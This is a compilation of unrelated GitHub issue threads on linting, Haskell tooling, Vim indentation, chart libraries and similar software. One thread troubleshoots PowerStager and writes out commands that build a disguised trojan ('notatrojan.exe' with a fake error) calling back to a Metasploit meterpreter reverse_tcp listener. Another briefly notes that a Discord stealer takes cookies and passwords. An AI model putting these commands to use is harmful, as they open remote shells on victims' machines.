See https://pinterest.github.io/ktlint/faq/#how-do-i-globally-disable-a-rule-without-editorconfig.
In your case, following should work:
@Suppress("ktlint:standard:comment-wrapping")
val foo = someJavaMethod(
    /*isEnabled*/ true,
    /*isChecked*/ false,
    /*isReadOnly*/ true,
    /*count*/ 1
)

By adding this to the 0.49.1 milestone are you saying that this configuration will be worked on, or is that just housekeeping?

It is housekeeping. I should have stated more clearly that no additional configuration will be made available. Either you can suppress the rule on a case-by-case basis like I showed above. Or you can suppress it for an entire file or globally (see docs).


Animation sometimes renders below token when dragging new token with actor-flagged effect

Even when it's not flagged as such, probably no check to force it above, I'd guess it's racing somehow when drawing a new token.
https://www.screencast.com/t/nqYvAXhmL

Should be fixed in 0.1.14, please let me know if not


Improve haskell ghcup

Description
Improve ghcup handling on linux and mac, freeing up disk space. Add ghcup to windows (yes, it's supported).
This isn't tested manually (I don't know how).
Check list

[ ] Related issue / work item is attached
[ ] Tests are written (if applicable)
[ ] Documentation is updated (if applicable)
[ ] Changes are tested and related VM images are successfully generated

Hi @hasufell!
Thanks for the proposed changes! A few questions\notes:

Could you please create a separate PR for each OS? It will be much easier to test them and make changes.
Are there any drawbacks in deleting docs and profiling libs?
What are the benefits of switching Haskell installation to ghcup for windows and ubuntu? I'm asking because we recommend using the following action to setup Haskell, which can be broken when using different installation paths https://github.com/actions/setup-haskell

Could you please create a separate PR for each OS? It will be much easier to test them and make changes.

Sure

Are there any drawbacks in deleting docs and profiling libs?

For CI, I don't think so. In fact, you're already doing that implicitly when using the ubuntu ppa:
https://github.com/actions/virtual-environments/blob/19717dd75837cd8c0a877f78cb270505af1b1702/images/linux/scripts/installers/haskell.sh#L37

What are the benefits of switching Haskell installation to ghcup for windows and ubuntu?

Some of the reasons have been discussed here: https://github.com/haskell/actions/issues/70
The main reason is that you get a consistent set of GHC versions across all platforms. Using 3 different methods (ghcup, ubuntu ppa and chocolatey) means you rely on 3 different release schedules of maintainers. On linux, ghcup is very well tested. Windows support is recent and may be discussed separately.

@hasufell I seem to recall that there was a disk space penalty when coming from the PPA to ghcup, do you think this is something ghcup can optimise, or will we have to wait for non-profiled bindists from GHCHQ?

* What are the benefits of switching Haskell installation to ghcup for windows and ubuntu? I'm asking because we recommend using the following action to setup Haskell, which can be broken when using different installation paths https://github.com/actions/setup-haskell

@miketimofeev This repo is abandoned, nowadays everyone uses https://github.com/haskell/actions instead :)

I seem to recall that there was a disk space penalty when coming from the PPA to ghcup, do you think this is something ghcup can optimise, or will we have to wait for non-profiled bindists from GHCHQ?

See the PR: https://github.com/actions/virtual-environments/pull/4016/files#diff-be47a081552c94d85c52955897f314f7f38270b6444a776f793397e440fa0c85R38

@hasufell ah beautiful, I had missed that part. :)

Hi @hasufell!
Thanks for the proposed changes! A few questions\notes:
* Could you please create a separate PR for each OS? It will be much easier to test them and make changes.

* Are there any drawbacks in deleting docs and profiling libs?

* What are the benefits of switching Haskell installation to ghcup for windows and ubuntu? I'm asking because we recommend using the following action to setup Haskell, which can be broken when using different installation paths https://github.com/actions/setup-haskell

What are the benefits of switching Haskell installation to ghcup for windows and ubuntu?
I'm asking because we recommend using the following action to setup Haskell, which can be broken when using different installation paths https://github.com/actions/setup-haskell

@miketimofeev This repo is abandoned, nowadays everyone uses https://github.com/haskell/actions instead :)

In addition to everyone using haskell/actions instead, that repo is something that tries to always correctly follow whatever actions/virtual-environments does so that the github provided runners will always work and always correctly utilize pre-installed resources whenever possible. So don't worry about breaking things for the action; but a little heads-up before doing so is always nice. That said, the action is also intended to be robust to missing binaries, setup, etc., as much as reasonable so that it can be used on self hosted runners as well; so changing things in actions/virtual-environments shouldn't break anything in the haskell/actions repo.

@miketimofeev
https://github.com/actions/virtual-environments/blob/4394e4414f48c6acaf0272add56b97a802826591/images/linux/scripts/installers/haskell.sh#L17-L21
Note that this PPA is no longer updated and already misses three last releases of GHC (8.10.5, 8.10.6 and 8.10.7). Because of this I strongly support switching to ghcup as a source.

@Bodigrim thanks for the explanation!

@hasufell I'm going to close this PR, please create separate ones for Ubuntu and Windows and we will take care of macOS as, unfortunately, we don't accept macOS contributions at the moment.


Vim9: leaving colon in 'indentkeys' breaks blockwise edition of dictionary containing lambdas

Steps to reproduce
Run this shell command:
vim -Nu NONE -S <(cat <<'EOF'
    vim9script
    var lines =<< trim END
        var d = {
        a: () => 0,
        b: () => 0,
        c: () => 0,
        }
    END
    lines->setline(1)
    filetype indent on
    &filetype = 'vim'
    execute "normal! jf)\<C-V>jjA: number"
EOF
)

The buffer contains this:
var d = {
        a: (): number => 0,
b: ()   a: (): number => 0,
c: ()   a: (): number => 0,
}

Expected behavior
The buffer contains this:
var d = {
a: (): number => 0,
b: (): number => 0,
c: (): number => 0,
}

Operating system
Ubuntu 20.04.3 LTS
Version of Vim
8.2 Included patches: 1-3682
Additional Context
The issue comes from the : item in the value of the 'indentkeys' option.
From :help indentkeys-format:

":"      if you type ':' after a label or case statement

AFAIK, there is no label or case statement in Vim script.
Can we drop :?  If we do, the issue is fixed:
diff --git a/runtime/indent/vim.vim b/runtime/indent/vim.vim
index d5d0d94b5..3f0c17a3b 100644
--- a/runtime/indent/vim.vim
+++ b/runtime/indent/vim.vim
@@ -12,6 +12,7 @@ let b:did_indent = 1
 setlocal indentexpr=GetVimIndent()
 setlocal indentkeys+==end,=},=else,=cat,=finall,=END,0\\,0=\"\\\
 setlocal indentkeys-=0#
+setlocal indentkeys-=:

 let b:undo_indent = "setl indentkeys< indentexpr<"

We need to fix both the way the inserted text is obtained and adjust 'indentkeys'.  I'll make a patch for the first one.

I can still reproduce the issue.
I think that's because the colon is still in 'indentkeys' in the Vim indent plugin.

I had a look at the test in patch 8.2.3684.
That's what it runs:
vim9script
var lines =<< trim END
    var d = {
    a: () => 0,
    b: () => 0,
    c: () => 0,
    }
END
lines->setline(1)
set runtimepath=$VIMRUNTIME
filetype plugin indent on
setlocal shiftwidth=2 expandtab filetype=vim
setlocal indentkeys+=:
execute "normal! 2Gf)\<c-v>2jA: asdf\<Esc>"

Which gives this (expected):
var d = {
  a: (): asdf => 0,
b: (): asdf => 0,
c: (): asdf => 0,
}

Now, if we run the same code but without setting 'expandtab' nor 'shiftwidth':
vim9script
var lines =<< trim END
    var d = {
    a: () => 0,
    b: () => 0,
    c: () => 0,
    }
END
lines->setline(1)
set runtimepath=$VIMRUNTIME
filetype plugin indent on
setlocal filetype=vim
setlocal indentkeys+=:
execute "normal! 2Gf)\<c-v>2jA: asdf\<Esc>"

Which gives this (NOT expected):
var d = {
        a: (): asdf => 0,
b: ()   a: (): asdf => 0,
c: ()   a: (): asdf => 0,
}

I can still reproduce the issue.
I think that's because the colon is still in 'indentkeys' in the Vim
indent plugin.

You mean that typing a colon re-indents?  The filetype plugin was
updated, will be in the next runtime files update.
--
The MS-Windows registry is no more hostile than any other bunch of state
information... that is held in a binary format... a format that nobody
understands... and is replicated and cached in a complex and largely
undocumented way... and contains large amounts of duplicate and obfuscated
information...  (Ben Peterson)
/// Bram Moolenaar -- @.*** -- http://www.Moolenaar.net   \
///                                                                      \
\\        sponsor Vim, vote for features -- http://www.Vim.org/sponsor/ ///
\\            help me help AIDS victims -- http://ICCF-Holland.org    ///

I submitted patch 8.2.3687 that should handle this better.  At least the examples, with and without Tabs, work now.

I submitted patch 8.2.3687 that should handle this better. At least the examples, with and without Tabs, work now.

I can confirm that 8.2.3687 fixes the issue.  Thank you very much.


Update 2<IP_ADDRESS> totally breaks sidewise

Sidewise stopped working after the last update. Nothing happens when clicking the lightbulb and the settings panel displays as empty collapsed. This is on Chrome 49.0.2623.112, the last version that will run on OS X 10.8. I verified my settings are not at issue/corrupt by reproducing the disfunction on a fresh Chrome user account.

Same here, except, that I use Version 39.0.2171.95 m. It was working like a charm before, but after the update, neither settings panel, nor sidebar loads. At the moment its not really an option to update this chrome, because other apps need it like this, but if you confirm me, that around version 50.x its working, maybe i can pull that together.

update: i could install Version 50.0.2661.102 m on top, but issue is still the same as above,.. ( that is the highest i can install for now)

I have this issue as well in Chrome 53.0.2785.89 (64-bit) on Xubuntu Linux.  The button does nothing when clicked.


User cannot influence the nature of the camera

The API call that creates the camera should also pass along parameters regarding it's movement:

FOV, TranslationSpeed, RotationSpeed

merged


jira-user-list.py fails with "401 Client Error: Unauthorized"

I get the following error when invoking jira-user-list.py, while the same URL works when manually copied and executed in a browser.
401 Client Error: Unauthorized for url: https://riff-systemhaus.atlassian.net/rest/api/2/search?jql=project=%22GOERLITZ%22%20ORDER%20BY%20key&fields=*navigable,attachment,comment,worklog&maxResults=100&startAt=0

Tested the same with curl -u '[...]:[...]' [...] and received the following output:

Basic authentication with passwords is deprecated.  For more information, see: https://developer.atlassian.com/cloud/confluence/deprecation-notice-basic-auth/

That link contains the following sentence, perfectly fine corresponding to my first error:

For the following APIs and pages, all requests using basic authentication with a non-API token credential will return 401 (Unauthorized) after the deprecation period:

Looking at the code, basic auth with username+password seems to be sued, so the error makes sense. OTOH, the script seems to be created after the deprecation?

The deprecation period for this functionality has ended. From June 3rd, 2019, we will be progressively disabling the usage of this authentication method.

Would be great if you could have a look at this problem. Thanks!

Didn't think of it first: One simply needs to replace the password in the secrets file with a created API token and this error goes away. :-)

Indeed this script was created for the API v2 that is used in the Server version. If using the token makes it work for the cloud version, even better. I hope this was the only obstacle.


Not working anymore

It used to work perfectly fine and then just today i noticed it wasnt working anymore. i try to put my name and deadname in and click save and it never saves

Hi @CYBERSCENE !
Do you have any luck if you uninstall and reinstall the extension? I'm not able to replicate this issue, so I'd need some more details if it's not just a fluke. If you're unable to get it working after reinstalling, let me know and I can let u know what i could use from you .
~ Ari

Hi @CYBERSCENE !
Do you have any luck if you uninstall and reinstall the extension? I'm not able to replicate this issue, so I'd need some more details if it's not just a fluke. If you're unable to get it working after reinstalling, let me know and I can let u know what i could use from you .
~ Ari

it was still unable to work after reinstalling
On Mon, Jan 4, 2021 at 2:07 PM AriGibson<EMAIL_ADDRESS>wrote:

Hi @CYBERSCENE https://github.com/CYBERSCENE !
Do you have any luck if you uninstall and reinstall the extension? I'm not
able to replicate this issue, so I'd need some more details if it's not
just a fluke. If you're unable to get it working after reinstalling, let me
know and I can let u know what i could use from you .
~ Ari
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/WillHayCode/Deadname-Remover/issues/253#issuecomment-754189347,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASHLH5PAHM546Y2EILKCZ7DSYINZXANCNFSM4VFAORTA
.

it was still unable to work after reinstalling
On Mon, Jan 4, 2021 at 2:07 PM AriGibson<EMAIL_ADDRESS>wrote:

Hi @CYBERSCENE https://github.com/CYBERSCENE !
Do you have any luck if you uninstall and reinstall the extension? I'm not
able to replicate this issue, so I'd need some more details if it's not
just a fluke. If you're unable to get it working after reinstalling, let me
know and I can let u know what i could use from you .
~ Ari
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/WillHayCode/Deadname-Remover/issues/253#issuecomment-754189347,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ASHLH5PAHM546Y2EILKCZ7DSYINZXANCNFSM4VFAORTA
.


Specific app titles cause title text to get truncated in the header toolbar

Steps to reproduce:

Rename the app to "Northwind"
Open the Chrome dev console
Run the app with "ng serve"

Result: part of the app title gets truncated.

This issue was fixed in DevExtreme 19.1.4


Compilation error TS1122 in apexcharts.d.ts

Issue
I can't import apexcharts on my angular 5.2 project
Explanation
After doing
npm install apexcharts --save
When i tried to import the module
import {ApexCharts} from 'apexcharts'
I've got an error :

TS2305: Module '"apexcharts"' has no exported member 'ApexCharts'.

So i tried to import all the module
import * as ApexCharts from 'apexcharts'
But now, i've another error because the apexcharts.d.ts contains an error, it is not compiling.

ERROR in node_modules/apexcharts/apexcharts.d.ts(526,16): error TS1122: A tuple type element list cannot be empty.

I'm running into the same problem with Angular 7.
import ApexCharts from 'apexcharts'
will show
[ts] Module '"apexcharts"' has no default export. [1192]

import * as ApexCharts from 'apexcharts';

should work if the typings don't have any compilation errors.

import * as ApexCharts from 'apexcharts';
should work if the typings don't have any compilation errors.

Just tried this, no compilation errors, but this error message showed up on the console:
ERROR TypeError: apexcharts__WEBPACK_IMPORTED_MODULE_2__ is not a constructor     at HomeComponent.push../src/app/home/home.component.ts.HomeComponent.ngAfterViewInit
The offending line is
const chart = new ApexCharts(document.querySelector('#chart'), this.options);

https://webpack.js.org/guides/author-libraries/#expose-the-library
I wonder if this is the problem...

I use Angular 7 and I do this thing :
// @ts-ignore
import ApexCharts from 'apexcharts';

It'a a bit tricky but compiler let me in.

@sugihartolim
ApexCharts is also exported as commonjs in the dist directory.
Can you also please try
import ApexCharts from 'apexcharts/dist/apexcharts.common.js'

That one didn't work. It compiles just fine, but vscode gives the following warning on the import:

Could not find a declaration file for module 'apexcharts/dist/apexcharts.common.js'. '[redacted]/node_modules/apexcharts/dist/apexcharts.common.js' implicitly has an 'any' type.  Try npm install @types/apexcharts if it exists or add a new declaration (.d.ts) file containing declare module 'apexcharts/dist/apexcharts.common.js';ts(7016)

The console shows this error message, and the charts didn't show up:

ng:///AppModule/HomeComponent_Host.ngfactory.js:5 ERROR TypeError: apexcharts_common_js_1.default is not a constructor

An angular wrapper for ApexCharts has just released 3 days ago - https://github.com/morrisjdev/ng-apexcharts
Maybe, that brings an end to all the import issues?

Hello, add to angular.json:  "node_modules/apexcharts/dist/apexcharts.min.js" and import into the component this way: import 'apexcharts';

@osnoser1  Thank you for the additional solution. It works fine out of the box with angular 7 cli.
@junedchhipa  The angular wrapper doesn't work when i tried it this week. Didn't have time to dig around yet. Maybe we shouldn't recommend the thing on the front page until the kinks are worked out first? Thanks.

Thanks @sugihartolim. I reply to this config and works for me.

tsconfig.json:
"compilerOptions": {
    "importHelpers": true,
    "outDir": "./dist/out-tsc",
    "baseUrl": "src",
    "sourceMap": true,
    "declaration": false,
    "moduleResolution": "node",
    "emitDecoratorMetadata": true,
    "experimentalDecorators": true,
    "esModuleInterop": true,
    "allowSyntheticDefaultImports": true,
    "target": "es5",
    "typeRoots": [
      "node_modules/@types"
    ],
    "lib": [
      "es2016",
      "dom"
    ],
    "module": "es2015"
  }

'module: es2015' It's working!

@DiegoVeronezi can you share your package.json?
I´ve been struggling to get it compiled with aot,
ERROR in ./node_modules/ng-apexcharts/fesm5/ng-apexcharts.js
Module build failed: Error: Debug Failure. False expression.
"apexcharts": "~3.11.2",
"ng-apexcharts": "~1.2.1",

@DiegoVeronezi can you share your package.json?
I´ve been struggling to get it compiled with aot,
ERROR in ./node_modules/ng-apexcharts/fesm5/ng-apexcharts.js
Module build failed: Error: Debug Failure. False expression.
"apexcharts": "~3.11.2",
"ng-apexcharts": "~1.2.1",

@DiegoVeronezi  did you manage to build for production, am also getting the same error though it runs with ng serve

this worked for me:
adding "scripts": ["node_modules/apexcharts/dist/apexcharts.min.js"] on angular.json as below
"architect": {
"build": {
"builder": "@angular-devkit/build-angular:browser",
"options": {
...
"styles": [
"src/styles.scss"
],
"scripts": [
"node_modules/apexcharts/dist/apexcharts.min.js"
]
},
"configurations": {
...
}
},
"serve": {
...
},
"extract-i18n": {
...
},
"test": {
"builder": "@angular-devkit/build-angular:karma",
"options": {
...
"styles": [
"src/styles.scss"
],
"scripts": ["node_modules/apexcharts/dist/apexcharts.min.js"]
}
},
"lint": {
...
},
"e2e": {
...
}
}

I am getting this error in the compilation of my Angular app while using apex js.

I checked a lot of resource I could not find what I need to resolve it, kidly guide me

I have updated my project from Angular 8 to Angular 9.
I am getting the below error after "ng serve"

add this into your Project
import * as ApexCharts from 'apexcharts';
instead :
import ApexCharts from 'apexcharts';


add missing dependency (demo .ino build)

When following the add component guide, you are told to verify/compile the wippersnapper demo sketch, after installing the library dependencies manually.
After installing all the mentioned dependencies, my demo build failed and said missing required library Adafruit MQTT Library.
This pull request adds that missing dependency. Worth retesting...

Closing this, the fix was brought in with #319


Rework BiometryService

GitHub Issue: #

Proposed Changes

What is the current behavior?

What is the new behavior?

Checklist
Please check if your PR fulfills the following requirements:

[x] Documentation has been added/updated
[ ] Automated Unit / Integration tests for the changes have been added/updated
[x] Contains NO breaking changes
[ ] Updated the Changelog
[ ] Associated with an issue

Other information

test

This PR is not relevent anymore as it was merged here #73. I'm closing this one


Update Document Methods to accept Ints or strings for document ids

Updates the following methods to have an overload for int documentId(s)

GetDocument<T>
DeleteOneDocument
DeleteDocuments

These methods call the string variant in order to be DRY.
Tests added in fashion of the string variant method call.
closes #25

After debugging this Test it seems the error is coming out of MeiliSearchClient.cs Line 67.
I didn't touch this file and it was working fine before I resolved the merge confilcts. All the Document tests, which would indicate the merge conflict was resolved correctly.
The error specifically is System.Threading.Tasks.TaskCanceledException: The operation was canceled.
So something is timing out. Looking at the log I don't ever see the POST request for creating a new index arrive.

Looking through the commit history I don't see anything that actually touches the MeiliSearchClient.cs file since I started my branch.
I'm going to keep debugging to see if I can figure out what happened.

Okay when running these tests isolated, they pass. so that's not a good sign.

@barbados-clemens I don't know why the tests failed, I re-ran them and now it works. If it fails again, we should open an issue about this random failure! Sorry for the time you spent on this problem! 😕

I merge since @satish860 approved! Thanks @barbados-clemens for your work and @satish860 for the review! 🎉


[REQUEST][LOG] Misspelled "sender"

Hi,
my log parser cannot parse log messages where the 'sender' (i guess) contains leading whitespaces.
So can someone clean the log messages from "SpinFort" to be printed right.
Thanks guys for ur awesome work.
Expected Behavior
2016-08-08 11:27:58,372 [SpinFort]
Actual Behavior
2016-08-08 11:27:59,021 [  SpinFort]
Steps to Reproduce
Look your lock files
Other Information
OS: deb8
Git Commit: 563f898f61233ff86d38d83b68d8399c1f63051b
Python Version: 2.7

As there have been many updates since this issue was posted, I'm assuming this has been resolved.

No, it is not fixed plz reopen this.

Can we sum this up as configurable output per task?


Create Posts “swiping”

Automatically generated by Netlify CMS

👷 Deploy Preview for benevolent-pika-f5fbe0 processing.

Name
Link

🔨 Latest commit
1f2c998a5e18d89646b9bb74c6cc8c603bc04ab5

🔍 Latest deploy log
https://app.netlify.com/sites/benevolent-pika-f5fbe0/deploys/635eff49fe33f7000bda939a


Import Configuration Package on Install

Hi,
I've created an app which needs some default setup data.
After installation I can manually import a configuration package but what I would like is to automatically import the configuration package on installation if the setup table is still empty.
I created a Codeunit of the subtype 'install' and added trigger OnInstallAppPerCompany() and I also added the rapidstart file in a subfolder in the app but I don't know how to handle the import from here.
I could not find an example on how to do this in blogs or documentation.

This GitHub repository is dedicated to handling issues with published apps and extensibility requests for the latest release of Business Central.
To get help on general questions please use one of the following resources:
Business Central Community
mibuso forum
Dynamics User Group


Backport of 2696 in stable-3.0

Backport of #2696 in stable-3.0

jenkins test luminous-ansible2.4-shrink_osd_container

jenkins test luminous-ansible2.4-shrink_osd


[NixIO] New object naming scheme

Implements the naming scheme discussed in #311 for the NixIO:

When a Neo object is written to NIX, a unique name is generated.
The NIX name is added to the Neo object as an annotation (nix_name).
The Neo object's original name is stored in the NIX object's metadata (neo_name).
When reading the file, the Neo object's original name is restored and the autogenerated NIX name is stored as an annotation.

During step 1., if the Neo object already has a nix_name annotation, that name is used instead of generating a new one.
Other changes:

Updated tests to comply with new naming scheme.
Maintains a path->object map for efficiently accessing the same object multiple times during a session based on the internal path representation.
For every NIX object created, the accompanying metadata section is also created. Previously the metadata section was created on demand. Since almost all objects have metadata associated with them, the on-demand check is unnecessary.

Resolves #306: New naming scheme allows any name since the Neo object's name is not used as a NIX object name.

Coverage increased (+0.06%) to 50.411% when pulling e11fb9f8a571943862423cb966f32dcb4fdb0c6c on G-Node:nixio-object-names into 4ee20e620ab9892335fda1b01d23aff72f0a81aa on NeuralEnsemble:master.

Coverage increased (+0.05%) to 50.401% when pulling 25961de9a6ce186c76a6eb8746223967ec456ad1 on G-Node:nixio-object-names into 4ee20e620ab9892335fda1b01d23aff72f0a81aa on NeuralEnsemble:master.


Plex.tv blocked

Can you please unblock Plex.tv as it is not piracy

Fixed in https://github.com/nextdns/piracy-blocklists/commit/efe8bc41448010a6bf4bc8ca3104fe34a7091a6c.


Fix an typo in art-storage

I think there is a typo.
2-bit-trie.png show the index 7,10,12  , but the article write 7,10,14

Thanks!


Can this control be opened upwards?

For example if the control is at the end of the page, it should open upwards for better user experience. (as otherwise user has to scroll to see the dropdown contents)

@Wingie ,
Unfortunately no.. Indeed it kinda mess with the user experience a bit.


Bracket expansion only on

Hi, I wonder if it is possible to make this plugin expand pairs only on <CR>, similar to https://github.com/rstacruz/vim-closer?

yes . please check read me in bottom.
it similar to function endwise.
but i think you need to write a custom rule for that.
the rule api is very flexible.

Thanks, I suppose I can do something like
npairs.add_rules({
    endwise('{$', '}', 'c', nil)
})

i see in a demo of vimcloser it have a feature to close multiple bracket. });
you can do that with replace_endpair function but it need some code to check that


RenderBox should use Offset for child offset

Previously we used Position, which makes it harder to accumulate offsets
when walking the render tree.

@Hixie

lgtm


Question about Rose's capabilities.

Good night.
I would just like to know how roughly how Rose operates and if it is any effective against users who only use the web version of Discord.
Thanks for your time.

It's possible to steal your discord if you only use web as this stealer gets cookies + passwords.


created exes not working in windows 7

Hi , i created an exe with your script , and i installed specifically windows 7 to test it out .
The exe is 32bit , and this w7 is also 32bit .
Before this video i opened metasploit console with a listener script but it was unable to gt any connection from this station .
This exe was supposedly to connect to an ip on my local network , and i checked if powershell was installed .
I used tcpview to monitor the outside connection to see if the Exe was trying to connect to my lan ip , but it looks that exe crashes on there is anything wrong on the payload .
i created a video .
On this video there will be a black space , this happened when windows asked me to run app as administrator , but camstudio was unable to catch that .
Let me know if you are aware of this issue , and let me know if you need dome tests from here to check it out what is happening .
here it is the video : https://www.youtube.com/watch?v=vZoSZ7GAH18
I notice that you updated recently powerstager , i install it and it is poping an error .
I believe this error may be related to the c code that mingw will have to compile .

It seems I didn't fully test the functionality for 32bit. Mingw (32bit) seems to be a bit more picky with windows.h. I changed int WinMain( to int WINAPI WinMain( and it compiles for 32bit. I haven't committed this change yet.
When it comes to the REVERSE_TCP payload, having a quick look at the code, it looks like I missed including the 32bit version of the shellcode. I will have a closer look, and probably release a patch today.

Thanks , i will not patch yet my local git , i will wait for the full patch on your git and then i test it .

Ok , i compiled your latest git and created an exe .
Now the connection is established but metasploit is unable to initiate the stager so it can establish a session .
i created a video for you to look up :
https://youtu.be/1s-YU1gyoq0
Let me know if you need any tests on win7 32bit , i can do it here .

What payload did you generate from PowerStager? It seems that MSF gets a call, but a faulty payload is staged. I compiled a list of different scenarios below and the expected outcome of each. This is also the result I get when I test it. I use newly installed Windows 7 (32bit) and Windows 2008 R2 (64bit) in this test.
en_windows_7_professional_x86_dvd_x15-65804.iso
SHA1: 697fa06554502fb21d30275273b25747299c020d

7601.17514.101119-1850_x64fre_server_eval_en-us-GRMSXEVAL_EN_DVD.iso
SHA1: beed231a34e90e1dd9a04b3afabec31d62ce3889

Note: the --reverse-shell option is only intended to be used together with the --listener, or with a separate one like netcat. It is not used together with MSF.
Scenario: PS_WIN32, MSF_X64 on 64bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows Server 2008 R2 (64bit)
MSF PAYLOAD		: payload => windows/x64/meterpreter/reverse_tcp
RESULT			: [-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN64, MSF_X64 on 64bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows Server 2008 R2 (64bit)
MSF PAYLOAD		: payload => windows/x64/meterpreter/reverse_tcp
RESULT			: [*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49165)...

Scenario: PS_WIN32, MSF_X86 on 64bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows Server 2008 R2 (64bit)
MSF PAYLOAD		: payload => windows/meterpreter/reverse_tcp
RESULT			: [*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49167)...

Scenario: PS_WIN64, MSF_X86 on 64bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows Server 2008 R2 (64bit)
MSF PAYLOAD		: payload => windows/meterpreter/reverse_tcp
RESULT			: [-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN32, MSF_X64 on 32bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows 7 (32bit)
MSF PAYLOAD		: payload => windows/x64/meterpreter/reverse_tcp
RESULT			: [-] Errno::ECONNRESET Connection reset by peer - SSL_accept

Scenario: PS_WIN64, MSF_X64 on 32bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows 7 (32bit)
MSF PAYLOAD		: payload => windows/x64/meterpreter/reverse_tcp
RESULT			: n/a (won't execute on 32bit)

Scenario: PS_WIN32, MSF_X86 on 32bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win32 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows 7 (32bit)
MSF PAYLOAD		: payload => windows/meterpreter/reverse_tcp
RESULT			: [*] Meterpreter session 1 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:49161)...

Scenario: PS_WIN64, MSF_X86 on 32bit Windows

POWERSTAGER		: powerstager.py --meterpreter --lhost <IP_ADDRESS> --lport 4444 --target win64 --output notatrojan.exe --fake-error --icon 'icon.ico'
WINDOWS TARGET	: Windows 7 (32bit)
MSF PAYLOAD		: payload => windows/meterpreter/reverse_tcp
RESULT			: n/a (won't execute on 32bit)

thanks for the info , i will do my tests here according to your output .
Basically i created your payload accordingly to your readme file and according to the listener you create with your script .
Another thing , i think it could be interesting if you change the module on your script from "urllib.parse" to "urllib" , so python 2.7 can also execute your script .
However , this last option it is your decision .
Thank you for your reply on this subject , i will let you know how where my tests here .

Thanks for the changes , i was testing it now and it is working perfectly .
I made a video of the testing in case you want to see it .
https://youtu.be/4xkiAPDXfPM


Question: works in dev mode?

Really neat plugin! Trying it out and I see it works perfectly when I build the project for production (snowpack build) but in the dev mode (snowpack dev), it doesn't seem to work.
I'd get a 404 not found when the app is looking for the generated react component file for an svg.
for example,
import Logo from './logo.svg';

 <Logo />

In dev mode, I get the following error:
http://localhost:8080/_dist_/logo.js net::ERR_ABORTED 404 (Not Found)
Is this as expected as of now?
Looking into this, it seems the plugin needs to generate a proxy response for dev mode.
possibly related: https://github.com/snowpackjs/snowpack/issues/542#issuecomment-650699207
but I'm not entirely sure how to suggest a solution right now. need to checkout the snowpack plugin interface some more.
thought I'd pose the question in case this is in the works.

I'm having the same problem.

Here where it works with svg as react components.
To make it work remove from package.json react-doc-viewer and from App.tsx imported component from that package.
After as usual yarn install & yarn start. Please let me know if is not working for you.

@Relaxe111 thanks! yep the example worked for me.  And after I updated my project to use the latest snowpack version and added the plugin back to the config, the plugin worked great in both dev and prod mode now.
My issue might have been fixed with the latest snowpack (?)
👍  thanks.

I am glad it was useful )

Thanks @Relaxe111


README update

Hi,
Thanks for building that component, planned to do that a long ago but didn't get to it,
I installed and configued it for my 4 WAC-510 units, works great,
Can you please update:

README - supported models
Translation of setup - description is currently indicating Only WAX models supported for now
HA Forums

thanks

Thanks! I've updated the readme


Global PCA in MFA for categorical fields

Thanks for fixing the previous issue so quickly. There seems to still be an issue with line 76 in MFA.py when "super().fit(self._build_X_global(X))" is running the .fit() for PCA:

For categorical groups, _build_X_global retains the columns as they are (line 90 in MFA.py)
However, line 40 of PCA.py (within the .fit() method) and below assumes the dataframe is numeric

You can recreate the issue by using the sample data (and ignoring the scaling):
X = pd.DataFrame(
data=[
["A", "A", "A", 2, 5, 7, 6, 3, 6, 7],
["A", "A", "A", 4, 4, 4, 2, 4, 4, 3],
["B", "A", "B", 5, 2, 1, 1, 7, 1, 1],
["B", "A", "B", 7, 2, 1, 2, 2, 2, 2],
["B", "B", "B", 3, 5, 6, 5, 2, 6, 6],
["B", "B", "A", 3, 5, 4, 5, 1, 7, 5]
],
columns=['E1 fruity', 'E1 woody', 'E1 coffee',
'E2 red fruit', 'E2 roasted', 'E2 vanillin', 'E2 woody',
'E3 fruity', 'E3 butter', 'E3 woody'],
index=['Wine {}'.format(i+1) for i in range(6)]
)
Thanks!

This is now fixed with version 0.4.3.


Broken Audio System

After rewriting the audio system there seems to be an issue which causes all audio files to crash the engine upon playing them. This includes built in sounds in the editor which no longer work.
To test this out, I used a plain AudioSource inside of the Sandbox App, and tried to play a audio file, it played successfully without crashing, so the issue could lie within the new audio system which tracks all sounds which didn't happen previously.

This has finally been fixed


javax.net.ssl.sslprotocolexception: handshake alert: unrecognized_name when checking out from SVN

Seeing this issue with OCP 3.9 and Jenkins 2.89.4. I tried disabling System.setProperty("jsse.enableSNIExtension", "false") using the script console but no luck.

sounds like a jenkins issue more than an openshift/jenkins issue?
If you think it is fixed in a newer jenkins version, you can try the docker.io/jenkins-2-centos7:v3.10 image (it should work fine w/ your 3.9 cluster).

(the 3.10 image has a newer jenkins LTS)

Yep this is a raw svn in jenkins issue vs. anything to do with our openshift/jenkins integration managed by this repo.
